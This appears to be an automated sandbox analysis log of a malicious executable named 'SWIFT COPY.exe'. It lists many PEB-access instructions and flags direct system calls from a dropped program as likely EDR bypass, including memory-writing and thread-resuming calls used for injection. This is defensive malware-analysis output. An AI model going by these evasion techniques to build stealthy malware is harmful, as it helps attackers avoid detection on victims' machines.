Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134C640 mov eax, dword ptr fs:[00000030h]	3_2_0134C640
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013666B0 mov eax, dword ptr fs:[00000030h]	3_2_013666B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C6A6 mov eax, dword ptr fs:[00000030h]	3_2_0136C6A6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334690 mov eax, dword ptr fs:[00000030h]	3_2_01334690
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334690 mov eax, dword ptr fs:[00000030h]	3_2_01334690
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE6F2 mov eax, dword ptr fs:[00000030h]	3_2_013AE6F2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE6F2 mov eax, dword ptr fs:[00000030h]	3_2_013AE6F2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE6F2 mov eax, dword ptr fs:[00000030h]	3_2_013AE6F2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE6F2 mov eax, dword ptr fs:[00000030h]	3_2_013AE6F2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B06F1 mov eax, dword ptr fs:[00000030h]	3_2_013B06F1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B06F1 mov eax, dword ptr fs:[00000030h]	3_2_013B06F1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A6C7 mov ebx, dword ptr fs:[00000030h]	3_2_0136A6C7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A6C7 mov eax, dword ptr fs:[00000030h]	3_2_0136A6C7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404940 mov eax, dword ptr fs:[00000030h]	3_2_01404940
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B892A mov eax, dword ptr fs:[00000030h]	3_2_013B892A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C892B mov eax, dword ptr fs:[00000030h]	3_2_013C892B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BC912 mov eax, dword ptr fs:[00000030h]	3_2_013BC912
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328918 mov eax, dword ptr fs:[00000030h]	3_2_01328918
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328918 mov eax, dword ptr fs:[00000030h]	3_2_01328918
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE908 mov eax, dword ptr fs:[00000030h]	3_2_013AE908
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE908 mov eax, dword ptr fs:[00000030h]	3_2_013AE908
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D4978 mov eax, dword ptr fs:[00000030h]	3_2_013D4978
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D4978 mov eax, dword ptr fs:[00000030h]	3_2_013D4978
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BC97C mov eax, dword ptr fs:[00000030h]	3_2_013BC97C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01356962 mov eax, dword ptr fs:[00000030h]	3_2_01356962
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01356962 mov eax, dword ptr fs:[00000030h]	3_2_01356962
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01356962 mov eax, dword ptr fs:[00000030h]	3_2_01356962
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0137096E mov eax, dword ptr fs:[00000030h]	3_2_0137096E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0137096E mov edx, dword ptr fs:[00000030h]	3_2_0137096E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0137096E mov eax, dword ptr fs:[00000030h]	3_2_0137096E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B0946 mov eax, dword ptr fs:[00000030h]	3_2_013B0946
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B89B3 mov esi, dword ptr fs:[00000030h]	3_2_013B89B3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B89B3 mov eax, dword ptr fs:[00000030h]	3_2_013B89B3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B89B3 mov eax, dword ptr fs:[00000030h]	3_2_013B89B3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0 mov eax, dword ptr fs:[00000030h]	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013309AD mov eax, dword ptr fs:[00000030h]	3_2_013309AD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013309AD mov eax, dword ptr fs:[00000030h]	3_2_013309AD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013629F9 mov eax, dword ptr fs:[00000030h]	3_2_013629F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013629F9 mov eax, dword ptr fs:[00000030h]	3_2_013629F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BE9E0 mov eax, dword ptr fs:[00000030h]	3_2_013BE9E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133A9D0 mov eax, dword ptr fs:[00000030h]	3_2_0133A9D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013649D0 mov eax, dword ptr fs:[00000030h]	3_2_013649D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FA9D3 mov eax, dword ptr fs:[00000030h]	3_2_013FA9D3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C69C0 mov eax, dword ptr fs:[00000030h]	3_2_013C69C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov eax, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov eax, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov eax, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov ecx, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov eax, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352835 mov eax, dword ptr fs:[00000030h]	3_2_01352835
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A830 mov eax, dword ptr fs:[00000030h]	3_2_0136A830
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D483A mov eax, dword ptr fs:[00000030h]	3_2_013D483A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D483A mov eax, dword ptr fs:[00000030h]	3_2_013D483A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BC810 mov eax, dword ptr fs:[00000030h]	3_2_013BC810
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BE872 mov eax, dword ptr fs:[00000030h]	3_2_013BE872
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BE872 mov eax, dword ptr fs:[00000030h]	3_2_013BE872
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6870 mov eax, dword ptr fs:[00000030h]	3_2_013C6870
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6870 mov eax, dword ptr fs:[00000030h]	3_2_013C6870
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01360854 mov eax, dword ptr fs:[00000030h]	3_2_01360854
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334859 mov eax, dword ptr fs:[00000030h]	3_2_01334859
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01334859 mov eax, dword ptr fs:[00000030h]	3_2_01334859
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01342840 mov ecx, dword ptr fs:[00000030h]	3_2_01342840
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014008C0 mov eax, dword ptr fs:[00000030h]	3_2_014008C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BC89D mov eax, dword ptr fs:[00000030h]	3_2_013BC89D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330887 mov eax, dword ptr fs:[00000030h]	3_2_01330887
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C8F9 mov eax, dword ptr fs:[00000030h]	3_2_0136C8F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136C8F9 mov eax, dword ptr fs:[00000030h]	3_2_0136C8F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FA8E4 mov eax, dword ptr fs:[00000030h]	3_2_013FA8E4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135E8C0 mov eax, dword ptr fs:[00000030h]	3_2_0135E8C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135EB20 mov eax, dword ptr fs:[00000030h]	3_2_0135EB20
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135EB20 mov eax, dword ptr fs:[00000030h]	3_2_0135EB20
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F8B28 mov eax, dword ptr fs:[00000030h]	3_2_013F8B28
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F8B28 mov eax, dword ptr fs:[00000030h]	3_2_013F8B28
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01402B57 mov eax, dword ptr fs:[00000030h]	3_2_01402B57
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01402B57 mov eax, dword ptr fs:[00000030h]	3_2_01402B57
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01402B57 mov eax, dword ptr fs:[00000030h]	3_2_01402B57
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01402B57 mov eax, dword ptr fs:[00000030h]	3_2_01402B57
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AEB1D mov eax, dword ptr fs:[00000030h]	3_2_013AEB1D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404B00 mov eax, dword ptr fs:[00000030h]	3_2_01404B00
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132CB7E mov eax, dword ptr fs:[00000030h]	3_2_0132CB7E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328B50 mov eax, dword ptr fs:[00000030h]	3_2_01328B50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DEB50 mov eax, dword ptr fs:[00000030h]	3_2_013DEB50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E4B4B mov eax, dword ptr fs:[00000030h]	3_2_013E4B4B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E4B4B mov eax, dword ptr fs:[00000030h]	3_2_013E4B4B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6B40 mov eax, dword ptr fs:[00000030h]	3_2_013C6B40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6B40 mov eax, dword ptr fs:[00000030h]	3_2_013C6B40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FAB40 mov eax, dword ptr fs:[00000030h]	3_2_013FAB40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D8B42 mov eax, dword ptr fs:[00000030h]	3_2_013D8B42
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340BBE mov eax, dword ptr fs:[00000030h]	3_2_01340BBE
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340BBE mov eax, dword ptr fs:[00000030h]	3_2_01340BBE
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E4BB0 mov eax, dword ptr fs:[00000030h]	3_2_013E4BB0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E4BB0 mov eax, dword ptr fs:[00000030h]	3_2_013E4BB0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338BF0 mov eax, dword ptr fs:[00000030h]	3_2_01338BF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338BF0 mov eax, dword ptr fs:[00000030h]	3_2_01338BF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338BF0 mov eax, dword ptr fs:[00000030h]	3_2_01338BF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135EBFC mov eax, dword ptr fs:[00000030h]	3_2_0135EBFC
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BCBF0 mov eax, dword ptr fs:[00000030h]	3_2_013BCBF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DEBD0 mov eax, dword ptr fs:[00000030h]	3_2_013DEBD0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01350BCB mov eax, dword ptr fs:[00000030h]	3_2_01350BCB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01350BCB mov eax, dword ptr fs:[00000030h]	3_2_01350BCB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01350BCB mov eax, dword ptr fs:[00000030h]	3_2_01350BCB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330BCD mov eax, dword ptr fs:[00000030h]	3_2_01330BCD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330BCD mov eax, dword ptr fs:[00000030h]	3_2_01330BCD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330BCD mov eax, dword ptr fs:[00000030h]	3_2_01330BCD
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01354A35 mov eax, dword ptr fs:[00000030h]	3_2_01354A35
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01354A35 mov eax, dword ptr fs:[00000030h]	3_2_01354A35
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136CA24 mov eax, dword ptr fs:[00000030h]	3_2_0136CA24
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135EA2E mov eax, dword ptr fs:[00000030h]	3_2_0135EA2E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BCA11 mov eax, dword ptr fs:[00000030h]	3_2_013BCA11
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013ACA72 mov eax, dword ptr fs:[00000030h]	3_2_013ACA72
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013ACA72 mov eax, dword ptr fs:[00000030h]	3_2_013ACA72
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136CA6F mov eax, dword ptr fs:[00000030h]	3_2_0136CA6F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136CA6F mov eax, dword ptr fs:[00000030h]	3_2_0136CA6F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136CA6F mov eax, dword ptr fs:[00000030h]	3_2_0136CA6F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DEA60 mov eax, dword ptr fs:[00000030h]	3_2_013DEA60
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336A50 mov eax, dword ptr fs:[00000030h]	3_2_01336A50
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340A5B mov eax, dword ptr fs:[00000030h]	3_2_01340A5B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340A5B mov eax, dword ptr fs:[00000030h]	3_2_01340A5B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338AA0 mov eax, dword ptr fs:[00000030h]	3_2_01338AA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01338AA0 mov eax, dword ptr fs:[00000030h]	3_2_01338AA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01386AA4 mov eax, dword ptr fs:[00000030h]	3_2_01386AA4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01368A90 mov edx, dword ptr fs:[00000030h]	3_2_01368A90
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80 mov eax, dword ptr fs:[00000030h]	3_2_0133EA80

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
